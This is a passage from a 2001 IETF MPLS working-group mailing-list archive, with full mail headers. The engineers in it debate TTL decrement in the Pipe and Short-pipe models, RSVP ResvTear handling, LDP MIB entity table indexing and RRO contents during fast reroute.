Content-Transfer-Encoding: 7bit

Shahram,

    I agree with Puneet on the issue of 'TTL negotiation'.  This is not
analogous to DiffServ code point translation or some other activities.
In addition, the value that the service provider might use to decrement
TTL will be deterministic - a specific decrement value will most likely
be established as part of the SLA governing the relationship between
the service user and provider.

    There does not need to be a negotiation mechanism - primarily as a
result of the fact that there is no particular reason for either party to
care about the moment to moment changes in topology of the other
party, nor any particular reason for either party to want to expose this
information to the other party.

    But I also think that the two of you are talking past each other.  You
want it to be inflexible and thus deterministic while Puneet is pointing
out that it can be made deterministic precisely because it is flexible.  I
think everyone wants the behavior to be deterministic, but different
people want it to be deterministic in different ways for different uses.

Puneet Agarwal wrote:

> Hi Shahram,
>
> It is entirely possible that I missed something in your argument so please
> bear with me.
>
> I do not understand the need for complicated signalling between the service
> provider and the customer. In the option (C) that I outlined, the service
> provider's egress LSR always decrements by 1 for ALL customers . It is up to
> the customer to determine how he wants to take ATM links (per your example)
> into account. In (C), the service providers egress LSR *is* doing
> deterministic (customer independant) TTL processing.
>
> It is my expectation that realistic deployments would have the providers
> egress LSR decrement TTL by 1 just like IP packet TTL is decremented by 1 at
> each hop by all  providers (at least I do not know of any exceptions). Just
> like there is no IP TTL decrement signalling between providers and
> customers, I expect the same to be true for MPLS TTL. Much like for IP,
> where a node can decrement the TTL by more than 1 (rfc1812), we leave the
> door open for service providers to configure their egress LSRs to decrement
> by more than 1.
>
> In fact, having a configurable TTL decrement value was a requirement that
> was raised during the previous (-00) draft discussion and hence was added to
> the current (-01) draft.
>
> Hope this helps.
>
> -Puneet
>
> >-----Original Message-----
> >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >Sent: Thursday, October 11, 2001 6:16 AM
> >To: 'Puneet Agarwal'
> >Cc: mpls@UU.NET
> >Subject: RE: New revision of the MPLS ttl draft
> >
> >
> >Hi Puneet,
> >
> >I think the flexibility on the TTL decrementing by the egress
> >LSR is something that is not desirable in the scenario that I
> >mentioned. This kind of flexibility requires complicated
> >signaling between service provider and customer in order to
> >inform the provider of the changes in the customer network, as
> >well as a database in the egress LSR to store each customer's
> >requirements. Also the flexibility may lead to
> >interoperability problem.
> >
> >Therefore I argue that the egress LSR in the pipe model MUST
> >do a deterministic TTL operation (NOT FLEXIBLE), be it a
> >decrement of "0" or "1" or any "n", but for a standard
> >interoperable operation it should not be configurable.
> >
> >If flexibility is required the short pipe model could be used.
> >
> >Yours,
> >-Shahram
> >
> >> -----Original Message-----
> >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> Sent: Wednesday, October 10, 2001 7:41 PM
> >> To: Shahram Davari; 'Eric Gray'
> >> Cc: Puneet Agarwal; mpls@UU.NET
> >> Subject: RE: New revision of the MPLS ttl draft
> >>
> >>
> >> Hi Shahram,
> >>
> >> Your solution (B) assumes that D (the service provider egress LSR)
> >> decrements the TTL by 3. The draft is extremely flexible and
> >> actually allows
> >> identical result by considering an alternate solution (C).
> >>
> >> (C) Let D subtract by 1 and G subtract by 3. This will give
> >> you identical
> >> behaviour and in this case the subtract by 3 knowledge
> >> resides completely in
> >> the customers network and the service provider has no
> >knowledge of the
> >> customers TTL decrement policy.
> >>
> >> From the service provider's perspective, a packet that enters
> >> their network
> >> with TTL n, then is encapsulated in a Pipe Model tunnel (with
> >> TTL n-1),
> >> exits their network with TTL n-2 [spec section 4.3](if the
> >> service providers
> >> wants to decrement ttl by 1 for each hop internally) for all
> >> customers. The
> >> customers can still choose to implement any ttl decrement
> >> policy that is
> >> unknown to the service provider.
> >>
> >> Hope this helps and addresses your concern. Hence I do not
> >> see a need to
> >> change the draft.
> >>
> >> Thanks.
> >>
> >> -Puneet
> >>
> >>
> >> >-----Original Message-----
> >> >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >> >Sent: Wednesday, October 10, 2001 1:30 PM
> >> >To: 'Eric Gray'
> >> >Cc: 'Puneet Agarwal'; mpls@UU.NET
> >> >Subject: RE: New revision of the MPLS ttl draft
> >> >
> >> >
> >> >Hi Eric,
> >> >
> >> >Because the TTL of the inner LSP belongs to the customer. And
> >> >the customer has a policy of let's say subtracting a value of
> >> >"n" from TTL. Now if the customer does not have control over
> >> >the TTL subtraction, even in a single node, the TTL may get
> >> >expired earlier or later than he expects. Let me give you
> >an example:
> >> >
> >> >
> >> > A-------B-----C-----D-----E------F-----G-----H
> >> > --------> LSP1----->
> >> > -------------------->LSP2------------------->
> >> >     TTL = N
> >> >
> >> >Assume
> >> >1) LSP2 is the inner LSP
> >> >2) A, B, C, H and the ingress port of D are POS.
> >> >3) The egress port of D is LC-ATM
> >> >4) E, F are ATM LSRs
> >> >5) The ingress port of G is LC-ATM
> >> >6) The egress port of G is POS.
> >> >7) A,B,C,D belong to provider X
> >> >8) E,F,G,H belong to provider Y
> >> >9) TTL=N for LSP2 between A and D
> >> >
> >> >In theory the TTL received by H must be N-4. However, since E,
> >> >F and ingress of G are ATM, they can't subtract the TTL.
> >> >
> >> >There are two solutions:
> >> >
> >> >A) Let's D do nothing and the customer Y subtract a value of 4
> >> >at the egress port of G, when the packet is sent to H.
> >> >B)Let D subtract a value of 3 before sending it to E, and G
> >> >subtract TTL by 1.
> >> >
> >> >It seems that for Pipe model, the current draft prefers the
> >> >second solution,while I prefer the first one. The reason is
> >> >that by choosing option B, you need to store the value to be
> >> >subtracted from TTL for each individual customer, while in
> >> >method A, it is up to customer to subtract whatever value he wants.
> >> >
> >> >My argument is that the Short pipe model should fulfill method
> >> >B, and Pipe model should fulfill method A.
> >> >
> >> >
> >> >Yours,
> >> >-Shahram
> >> >
> >> >> -----Original Message-----
> >> >> From: Eric Gray [mailto:eric.gray@sandburst.com]
> >> >> Sent: Wednesday, October 10, 2001 3:10 PM
> >> >> To: Shahram Davari
> >> >> Cc: 'Puneet Agarwal'; mpls@UU.NET
> >> >> Subject: Re: New revision of the MPLS ttl draft
> >> >>
> >> >>
> >> >> Shahram,
> >> >>
> >> >>     Can you help me to understand this question?  Why would
> >> >> the customer
> >> >> router dwnstream of the egress LSR want (or need) to know
> >> >how much TTL
> >> >> has been decremented by the egress LSR?
> >> >>
> >> >> You wrote:
> >> >>
> >> >> > Hi Puneet,
> >> >> >
> >> >> > But your draft says that any value other than 1 can be
> >> >> subtracted from TTL. So how does a customer router that sits
> >> >> downstream of the egress LSR know how much has been
> >> >> subtracted from the TTL?
> >> >> >
> >> >> > Yours,
> >> >> > -Shahram
> >> >> >
> >> >> > > -----Original Message-----
> >> >> > > From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> >> > > Sent: Tuesday, October 09, 2001 11:09 PM
> >> >> > > To: Shahram Davari; mpls@UU.NET
> >> >> > > Subject: RE: New revision of the MPLS ttl draft
> >> >> > >
> >> >> > >
> >> >> > > Hi Shahram,
> >> >> > >
> >> >> > > Thanks for your comments.
> >> >> > >
> >> >> > > Regarding not storing the TTL decrementing policy of the
> >> >> > > customer in the
> >> >> > > provider's egress LSR(s), I do not think that the proposed
> >> >> > > ttl processing
> >> >> > > needs/requires the customers ttl decrement policy to be known
> >> >> > > to the Egress
> >> >> > > LSRs. From a customers perspective, they send a packet with
> >> >> > > ttl n and they
> >> >> > > get back a packet with ttl n-2. If the customer wants, they
> >> >> > > can decrement
> >> >> > > the ttl by any amount they want without the providers egress
> >> >> > > LSR knowing
> >> >> > > anything about it. TTL processing is different (and easier to
> >> >> > > determine)
> >> >> > > than PHB determination as the TTL field has the same
> >> >> > > semantics in either the
> >> >> > > providers network or the customers network - which is not
> >> >> > > true for the bits
> >> >> > > used for PHB determination.
> >> >> > >
> >> >> > > Hence I do not see a reason to change the TTL decrementing
> >> >> > > policy for Pipe
> >> >> > > model LSPs. (There are other valid reasons for our proposal
> >> >> > > but they are not
> >> >> > > relevant to the points you've raised).
> >> >> > >
> >> >> > > Hope this helps.
> >> >> > >
> >> >> > > Thanks.
> >> >> > >
> >> >> > > -Puneet
> >> >> > >
> >> >> > > >-----Original Message-----
> >> >> > > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >> >> > > >Sent: Tuesday, October 09, 2001 1:34 PM
> >> >> > > >To: 'Puneet Agarwal'; mpls@UU.NET
> >> >> > > >Subject: RE: New revision of the MPLS ttl draft
> >> >> > > >
> >> >> > > >
> >> >> > > >Hi Puneet,
> >> >> > > >
> >> >> > > >The reason that Pipe model was introduced was that we didn't
> >> >> > > >want to store the customer policies in the egress LSR. This
> >> >> > > >meant from the Diffserv perspective, that we didn't want to
> >> >> > > >store EXP<=>PHB mapping for each individual
> >customer. The Pipe
> >> >> > > >model essentially terminates the tunnel on the ingress line
> >> >> > > >card of the Router downstream of the Egress LSR, rather than
> >> >> > > >on the egress line-card of the egress LSR.
> >> >> > > >
> >> >> > > >As mentioned in your draft, each domain may have its own
> >> >> > > >policy (value to be decremented) for decrementing the TTL.
> >> >> > > >Therefore it seems to me that for the same reason, it is
> >> >> > > >better not to store TTL decrementing policy and apply it to
> >> >> > > >the packet in the egress LSR for the Pipe model.
> >> >> > > >
> >> >> > > >Therefore I suggest that the Pipe model TTL processing be the
> >> >> > > >same as Short-pipe model with PHP.
> >> >> > > >
> >> >> > > >Yours,
> >> >> > > >-Shahram
> >> >> > > >
> >> >> > > >> -----Original Message-----
> >> >> > > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> >> > > >> Sent: Monday, October 08, 2001 5:18 PM
> >> >> > > >> To: mpls@UU.NET
> >> >> > > >> Subject: New revision of the MPLS ttl draft
> >> >> > > >>
> >> >> > > >>
> >> >> > > >> A new revision of the "TTL Processing in MPLS Networks" has
> >> >> > > >> been submitted.
> >> >> > > >> This updates the -00 version of the draft.
> >> >> > > >>
> >> >> > > >> Any comments/suggestions would be much appreciated.
> >> >> > > >>
> >> >> > > >> -Puneet and Bora
> >> >> > > >>
> >> >> > > >>
> >> >> > > >>
> >> >> > > >
> >> >> > >
> >> >>
> >> >> --
> >> >> Eric Gray (mailto:eric.gray@sandburst.com)
> >> >> http://www.mindspring.com/~ewgray
> >> >>
> >> >>
> >> >>
> >> >
> >>
> >

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct 11 17:26:42 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25921
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:26:41 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkif16956;
	Thu, 11 Oct 2001 21:24:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkif03441
	for mpls-outgoing; Thu, 11 Oct 2001 21:24:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkif03436
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:24:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkif29454
	for <mpls@uu.net>; Thu, 11 Oct 2001 21:23:45 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkif15445
	for <mpls@uu.net>; Thu, 11 Oct 2001 21:23:59 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA26702
	for <mpls@uu.net>; Thu, 11 Oct 2001 17:23:42 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA18033
	for <mpls@uu.net>; Thu, 11 Oct 2001 17:23:44 -0400 (EDT)
Message-ID: <3BC60DFF.82D480AC@marconi.com>
Date: Thu, 11 Oct 2001 17:24:15 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: resvtear msg
References: <F210CnJ711HZv7FDwfC00003868@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hariom P wrote:
> 
> Why can't every hop that processes resvtear do the following,
> 1. Del matching reserv state and forward resvtear if required to the
>    prevhop

It should always send a ResvTear after deleting the corresponding
state.  If the state is not present on the previous-hop router, then
that router will ignore the message.  It is unreasonable to expect a
router to know with certainty what the adjacent routers' states are.

If you send a ResvTear when the neighbor has no state, it's not a big
deal - the message will just be ignored.  If, however, you do not send a
ResvTear when you should have, the neighbor's Resv state will not go
away until it times out.  Depending on how the routers are configured,
this could be quite a long time.

> 2. And send a pathtear to the nexthop

This is wrong.  Path state should not be deleted when Resv state is
deleted.  It must remain established, and the node must continue
refreshing it.

It is perfectly legal (and not unusual in classical RSVP) for an egress
node to delete a reservation and later re-establish it with different
parameters.

Don't think of RSVP as a variation on LDP.  It is not.  A Path message
is not just a request for a label.  It establishes state in and of
itself.  It is not something that can be causally discarded simply
because some corresponding Resv state has been destroyed.

-- David


From owner-mpls@UU.NET  Thu Oct 11 17:27:03 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25938
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:27:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkif28629;
	Thu, 11 Oct 2001 21:23:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkif03326
	for mpls-outgoing; Thu, 11 Oct 2001 21:22:28 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkif03321
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:22:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkif00345
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:20:37 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkif24732
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:20:50 GMT
Message-ID: <3BC60D1B.BF182107@sandburst.com>
Date: Thu, 11 Oct 2001 17:20:27 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: Re: New revision of the MPLS ttl draft
References: <4B6D09F3B826D411A67300D0B706EFDE5CCA93@nt-exch-yow.pmc-sierra.bc.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shahram,

    I think you presuppose an application that suits your argument.

    I can imagine applications that benefit from having an SLA fixed
value of TTL decrement other than one.

You wrote:

> Puneet,
>
> >Much
> > like for IP,
> > where a node can decrement the TTL by more than 1 (rfc1812),
> > we leave the
> > door open for service providers to configure their egress
> > LSRs to decrement
> > by more than 1.
>
> When a provider decides to decrement more than 1, it means that the provider is willing to store customers' TTL policy (decrement value). In that case he might store the Diffserv policy (PHB<=>EXP) as well and therefore use the short pipe.
>
> >In (C), the service providers egress LSR *is* doing
> > deterministic (customer independent) TTL processing.
>
> Anything which is configurable can't be deterministic unless either signaled or written in the SLA. The signaling is not desirable, and writing it in SLA, means that it can't be changed quickly, which defeats the purpose of subtracting more than one.
>
> Yours,
> -Shahram

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct 11 17:46:48 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA26318
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:46:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkig19347;
	Thu, 11 Oct 2001 21:40:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkig04685
	for mpls-outgoing; Thu, 11 Oct 2001 21:40:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkig04679
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:40:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkig23956
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:40:18 GMT
Received: from tenornetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQlkig26177
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:40:33 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9BLeB523057;
	Thu, 11 Oct 2001 17:40:11 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          THU, 11 Oct 2001 17:40:42 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <SY29Q5F2>; Thu, 11 Oct 2001 17:40:42 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B524D@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@crescentnetworks.com>
Cc: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@crescentnetworks.com, jluciani@crescentnetworks.com,
        hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Thu, 11 Oct 2001 17:40:40 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Joan,
      Thanks for your mail. Please see below for my doubt.
> You need to have 2
>distinct
>mplsEntityLdpIds if the label space part is zero, then this means that 
>the LSR IDs need to be different.  Admittedly, this is unlikely (or at
>least in my experience this is unlikely since I have typically seen the
>LSR ID portion == the RouterId), but I suppose if someone wanted 
>to do this so that he/she could support both DOD and DU sessions where 
>each session is using per platform label space on the same router that
>configuration would be an alternative.

     The entry in the entity table is indexed by both mplsEntityLdpIds and
mplsLdpEntityIndex.
       Can't we create two entries with same mplsEntityLdpIds with different
mplsLdpEntityIndex in the Entity Table to support both DOD and DU sessions
using per platform label space on a LSR with same LSR id ?
 mplsLdpEntityIndex  is used to uniquely identify row in the
mplsLdpEntityTable. I think we can have two or more entries with same
mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?
 
Thanks,
Kishore    

>  -Joan

> 
> Thanks,
> Kishore
> 
> >  -Joan
> 
> >
> >> Thanks,
> >> Kishore
> >
> > -----Original Message-----
> > From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> > Sent: Tuesday, October 09, 2001 5:59 PM
> > To: Srinivas T M
> > Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> > jluciani@CrescentNetworks.com; hans@ipunplugged.com
> > Subject: Re: mplsLdpEntityTable
> >
> > Srinivas T M wrote:
> > >
> > > Hi,
> > >    Can anybody clarify my below question.
> > >
> > > How Interface Index relates to entry in the
> > > mplsLdpEntityTable in case of per-platform label space
> > > , generic label type and in case of LDP Identifier is
> > > same for all interfaces ?
> >
> > The entity entry/row is the configuration for a potential
> > session.  The Interface Index is in the label range tables
> > and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> > to tie the entity entry with a label range entry.
> >
> > In the case of the per-platform label space, this is also
> > the situation.  I'm not sure if this answers the question
> > you are asking though.
> >
> > >
> > >  Can we use single entry in the entity table for
> > > multiple interfaces? If it is like that, then what
> > > happens if we change label Distribution Method or
> > > LabelRetentionMode  or any field in the entity table,
> > > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > > telling how interface relates to entry in the entity
> > > table.
> >
> > The front section of the MIB and the description for
> > mplsLdpEntityAdminStatus does describe that it
> > expects the user to administratively disable the entity
> > (and thus take down the session -- meaning the session
> > is removed) and then change whatever
> > fields and then administratively enable the entity
> > to create new session.
> >
> >   -Joan
> >
> > >
> > >   MplsLdpEntityEntry ::= SEQUENCE {
> > >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> > >      mplsLdpEntityIndex        Unsigned32,
> > >      mplsLdpEntityProtocolVersion  Integer32,
> > >      mplsLdpEntityAdminStatus      INTEGER,
> > >      mplsLdpEntityOperStatus       INTEGER,
> > >      mplsLdpEntityTcpDscPort       Unsigned32,
> > >      mplsLdpEntityUdpDscPort       Unsigned32,
> > >      mplsLdpEntityMaxPduLength     Unsigned32,
> > >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> > >      mplsLdpEntityHelloHoldTimer      Integer32,
> > >      mplsLdpEntityInitSesThreshold    Integer32,
> > >      mplsLdpEntityLabelDistMethod     INTEGER,
> > >      mplsLdpEntityLabelRetentionMode  INTEGER,
> > >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> > >      mplsLdpEntityPVL                 Integer32,
> > >      mplsLdpEntityHopCountLimit       Integer32,
> > >      mplsLdpEntityTargPeer            TruthValue,
> > >      mplsLdpEntityTargPeerAddrType
> > > adressFamilyNumbers,
> > >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> > >      mplsLdpEntityOptionalParameters
> > > MplsLdpLabelTypes,
> > >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> > >      mplsLdpEntityStorType            StorageType,
> > >      mplsLdpEntityRowStatus            RowStatus
> > >      }
> > >
> > > Thanks in Advance,
> > > Srini.
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> > $8.95/month.
> > > http://geocities.yahoo.com/ps/info1


From owner-mpls@UU.NET  Thu Oct 11 18:47:56 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27988
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 18:47:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkil27400;
	Thu, 11 Oct 2001 22:47:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkil29165
	for mpls-outgoing; Thu, 11 Oct 2001 22:46:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkil29158
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 22:46:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkil04200
	for <mpls@UU.NET>; Thu, 11 Oct 2001 22:46:09 GMT
Received: from apollo.mctr.umbc.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: apollo.mctr.umbc.edu [130.85.101.89])
	id QQlkil26184
	for <mpls@UU.NET>; Thu, 11 Oct 2001 22:46:24 GMT
Received: from mercury.mctr.umbc.edu (mercury.mctr.umbc.edu [130.85.101.142])
	by apollo.mctr.umbc.edu (8.9.3/8.9.3) with ESMTP id SAA09972;
	Thu, 11 Oct 2001 18:46:07 -0400 (EDT)
Received: from localhost (ayyangar@localhost)
	by mercury.mctr.umbc.edu (8.9.3+Sun/8.9.3) with SMTP id SAA04280;
	Thu, 11 Oct 2001 18:40:04 -0400 (EDT)
X-Authentication-Warning: mercury.mctr.umbc.edu: ayyangar owned process doing -bs
Date: Thu, 11 Oct 2001 18:40:03 -0400 (EDT)
From: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
X-Sender: ayyangar@mercury.mctr.umbc.edu
To: francis.arts@alcatel.be
cc: mpls@UU.NET
Subject: Re: draft-gan-fast-reroute
In-Reply-To: <OF6566095C.9AC73AF4-ONC1256AE1.0072BC61@net.alcatel.be>
Message-ID: <Pine.GSO.3.95.1011011183708.4193A-100000@mercury.mctr.umbc.edu>
MIME-Version: 1.0
Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY="=_alternative 001B46A3C1256AE2_="
Content-ID: <Pine.GSO.3.95.1011011183708.4193B@mercury.mctr.umbc.edu>
Sender: owner-mpls@UU.NET
Precedence: bulk

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--=_alternative 001B46A3C1256AE2_=
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.GSO.3.95.1011011183708.4193C@mercury.mctr.umbc.edu>

Hi,

> 
> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>  
>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>                       v                       ^ 
>                       |                       | 
>                       +-----------------------+ 
> 
> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].
> 
> Assume that the link between node 2 and node 3 fails. Then the detour
> [node 2 - node 4] is taking over. But what does node 2 then send in the
> RRO object of the RESV message to node 1: Does node 2 continue to send
> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
> @(detour between 4-2), @(egress-4)] or ...? 
> 
---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)] 
as the RRO in the Resv once the detour has taken over.

-arthi

--=_alternative 001B46A3C1256AE2_=--


From owner-mpls@UU.NET  Thu Oct 11 18:49:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28010
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 18:49:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkil10590;
	Thu, 11 Oct 2001 22:48:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkil29242
	for mpls-outgoing; Thu, 11 Oct 2001 22:47:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkil29227
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 22:47:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkil29825
	for <mpls@UU.NET>; Thu, 11 Oct 2001 22:47:43 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f131.law12.hotmail.com [64.4.19.131])
	id QQlkil09708
	for <mpls@UU.NET>; Thu, 11 Oct 2001 22:47:57 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 11 Oct 2001 15:47:42 -0700
Received: from 216.175.94.202 by lw12fd.law12.hotmail.msn.com with HTTP;
	Thu, 11 Oct 2001 22:47:41 GMT
X-Originating-IP: [216.175.94.202]
From: "Hariom P" <hmp123@hotmail.com>
To: David.Charlap@marconi.com, mpls@UU.NET
Subject: Re: resvtear msg
Date: Thu, 11 Oct 2001 15:47:41 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F131AGUjGnAKYoo9tjx00003bfd@hotmail.com>
X-OriginalArrivalTime: 11 Oct 2001 22:47:42.0016 (UTC) FILETIME=[BC4AEC00:01C152A6]
Sender: owner-mpls@UU.NET
Precedence: bulk

Please see inline

>From: David Charlap <David.Charlap@marconi.com>
>To: mpls@UU.NET
>Subject: Re: resvtear msg
>Date: Thu, 11 Oct 2001 17:24:15 -0400
>
>Hariom P wrote:
> >
> > Why can't every hop that processes resvtear do the following,
> > 1. Del matching reserv state and forward resvtear if required to the
> >    prevhop
>
>It should always send a ResvTear after deleting the corresponding
>state.  If the state is not present on the previous-hop router, then
>that router will ignore the message.  It is unreasonable to expect a
>router to know with certainty what the adjacent routers' states are.
>
>If you send a ResvTear when the neighbor has no state, it's not a big
